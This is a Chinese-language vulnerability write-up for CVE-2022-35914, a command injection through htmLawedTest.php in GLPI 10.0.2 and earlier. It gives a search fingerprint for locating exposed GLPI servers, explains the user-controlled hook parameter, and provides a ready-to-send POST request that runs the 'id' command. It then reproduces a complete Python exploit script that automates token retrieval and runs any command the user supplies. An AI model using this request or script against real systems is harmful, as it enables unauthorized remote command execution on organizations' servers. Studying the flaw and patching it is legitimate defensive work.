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162 lines
5.2 KiB
Markdown
162 lines
5.2 KiB
Markdown
# GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914
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## 漏洞描述
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GLPI是个人开发者的一款开源IT和资产管理软件。该软件提供功能全面的IT资源管理接口，你可以用它来建立数据库全面管理IT的电脑，显示器，服务器，打印机，网络设备，电话，甚至硒鼓和墨盒等。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于htmlawed 模块中的 `/vendor/htmlawed/htmlawed/htmLawedTest.php` 允许 PHP 代码注入。
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## 漏洞影响
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```
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GLPI 10.0.2及之前版本
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```
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## 网络测绘
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```
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title="GLPI"
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```
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## 漏洞复现
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登录页面
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出现问题的文件为 **htmLawedTest.php，** 来源于第三方库 PHP Labware
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```
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https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
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```
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在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中
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跟进文件 htmLawed.php 中
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```
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if($C['hook']){$t = $C['hook']($t, $C, $S);}
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```
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这里可以看到参数均为用户可控参数，当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞
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验证POC
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```
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/vendor/htmlawed/htmlawed/htmLawedTest.php
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```
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访问页面获取到 sid 与 token 后再发送请求包
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```
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POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
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Host:
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Accept: */*
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Accept-Encoding: gzip, deflate
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Content-Length: 88
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Content-Type: application/x-www-form-urlencoded
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token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e
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```
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## 漏洞POC
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- https://github.com/cosad3s/CVE-2022-35914-poc
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```python
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#!/usr/bin/python
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# -*- coding: utf-8 -*-
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import argparse
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from bs4 import BeautifulSoup
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import requests
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import sys
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import re
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requests.packages.urllib3.disable_warnings()
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RED = '\x1b[91m'
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BLUE = '\033[94m'
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GREEN = '\033[32m'
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ENDC = '\033[0m'
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banner="""
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______ _______ ____ ___ ____ ____ _________ ___ _ _ _
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/ ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ / ___|/ _ \/ | || |
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| | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_
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| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__ _|
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\____| \_/ |_____| |_____|\___/_____|_____| |____/____/ /_/|_| |_|
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"""
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def main():
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print(banner)
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parser = argparse.ArgumentParser(description='CVE-2022-35914 - GLPI - Command injection using a third-party library script')
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parser.add_argument('-u', type=str, required=True, dest='url', help = "URL to test")
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parser.add_argument('-c', type=str, required=False, dest='cmd', default = "id", help = "Command to launch (default: id)")
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parser.add_argument('-f', type=str, required=False, dest='hook', default = "exec", help = "PHP hook function (default: exec)")
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parser.add_argument('--check', action="store_true", dest='check', help = "Just check, no command execution.")
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parser.add_argument('--user-agent', type=str, required=False, default="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", dest='user_agent', help = "Custom User-Agent")
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args = parser.parse_args()
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exploit(args.url, args.cmd, args.user_agent,args.check,args.hook)
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def exploit(url,cmd,user_agent,check,hook):
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uri = "/vendor/htmlawed/htmlawed/htmLawedTest.php"
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headers = {'User-Agent': user_agent}
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session = requests.Session()
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response_part1 = session.get(str(url)+uri, verify=False, headers=headers)
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if (response_part1.status_code != 200):
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fail()
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soup = BeautifulSoup(response_part1.text, 'html.parser')
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if (soup.title.text.find("htmLawed") == -1):
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fail()
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if (check):
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print(GREEN + "[+] Server potentially vulnerable to CVE-2022-35914" + ENDC)
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sys.exit()
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# Prepare POST request
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token_value = soup.find_all(id='token')[0]['value']
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sid_value = session.cookies.get("sid")
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body = {"token":token_value,"text":cmd,"hhook":hook,"sid":sid_value}
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response_part2 = session.post(str(url)+uri, verify=False, headers=headers, data=body)
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parse(response_part2.text)
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def parse(response):
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soup = BeautifulSoup(response, 'html.parser')
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raw = soup.find_all(id='settingF')[0]
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return_code_search_regex = "\$spec\: (.*)"
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found_return_code = re.search(return_code_search_regex, raw.text, re.DOTALL).group(1)
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output_search_regex = "\[xml:lang\] \=\> 0\n(.*)\n\)"
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found_output = re.search(output_search_regex, raw.text, re.DOTALL)
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print(GREEN + "[+] Command output (Return code: " + found_return_code + "):" + ENDC)
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if (found_output != None):
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raw_output = found_output.group(1)
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cleaning_regex = ".*\=\>"
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cleaned_output = re.sub (cleaning_regex, "", raw_output)
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print(cleaned_output)
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def fail():
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print(RED + "[-] Server not vulnerable to CVE-2022-35914" + ENDC)
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sys.exit()
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if __name__ == '__main__':
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main()
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```
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